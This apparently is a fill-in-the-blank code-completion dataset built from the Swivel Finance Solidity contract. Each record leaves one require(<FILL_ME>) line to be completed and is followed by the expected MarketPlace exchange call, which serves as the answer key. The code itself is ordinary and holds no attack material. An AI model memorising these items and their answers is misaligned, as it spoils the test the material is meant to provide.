uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require((a + filled[hash]) <= o.principal, 'taker amount > available volume'); filled[hash] += a; uint256 premiumFilled = (a * o.premium) / o.principal; Erc20 uToken = Erc20(o.underlying); // transfer underlying tokens, then take fee Safe.transferFrom(uToken, msg.sender, o.maker, a - premiumFilled); uint256 fee = premiumFilled / feenominators[0]; Safe.transferFrom(uToken, msg.sender, address(this), fee); // alert marketplace require(<FILL_ME>) emit Initiate(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, premiumFilled); } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
MarketPlace(marketPlace).p2pZcTokenExchange(o.underlying,o.maturity,o.maker,msg.sender,a),'zcToken exchange failed'
199,320
MarketPlace(marketPlace).p2pZcTokenExchange(o.underlying,o.maturity,o.maker,msg.sender,a)
'vault exchange failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require((a + filled[hash]) <= o.premium, 'taker amount > available volume'); filled[hash] += a; Safe.transferFrom(Erc20(o.underlying), msg.sender, o.maker, a); MarketPlace mPlace = MarketPlace(marketPlace); uint256 principalFilled = (a * o.principal) / o.premium; // alert marketplace require(<FILL_ME>) // transfer fee (in vault notional) to swivel uint256 fee = principalFilled / feenominators[2]; require(mPlace.transferVaultNotionalFee(o.underlying, o.maturity, msg.sender, fee), "notional fee transfer failed"); emit Initiate(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, principalFilled); } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
mPlace.p2pVaultExchange(o.underlying,o.maturity,o.maker,msg.sender,principalFilled),'vault exchange failed'
199,320
mPlace.p2pVaultExchange(o.underlying,o.maturity,o.maker,msg.sender,principalFilled)
'zcToken exchange failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require((a + filled[hash]) <= o.premium, 'taker amount > available volume'); filled[hash] += a; Erc20 uToken = Erc20(o.underlying); uint256 principalFilled = (a * o.principal) / o.premium; // transfer underlying from initiating party to exiting party, minus the price the exit party pays for the exit (premium), and the fee. Safe.transferFrom(uToken, o.maker, msg.sender, principalFilled - a); // transfer fee in underlying to swivel uint256 fee = principalFilled / feenominators[1]; Safe.transferFrom(uToken, msg.sender, address(this), fee); // alert marketplace require(<FILL_ME>) emit Exit(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, principalFilled); } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
MarketPlace(marketPlace).p2pZcTokenExchange(o.underlying,o.maturity,msg.sender,o.maker,principalFilled),'zcToken exchange failed'
199,320
MarketPlace(marketPlace).p2pZcTokenExchange(o.underlying,o.maturity,msg.sender,o.maker,principalFilled)
'vault exchange failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require((a + filled[hash]) <= o.principal, 'taker amount > available volume'); filled[hash] += a; Erc20 uToken = Erc20(o.underlying); // transfer premium from maker to sender uint256 premiumFilled = (a * o.premium) / o.principal; Safe.transferFrom(uToken, o.maker, msg.sender, premiumFilled); uint256 fee = premiumFilled / feenominators[3]; // transfer fee in underlying to swivel from sender Safe.transferFrom(uToken, msg.sender, address(this), fee); // transfer <a> notional from sender to maker require(<FILL_ME>) emit Exit(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, premiumFilled); } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal 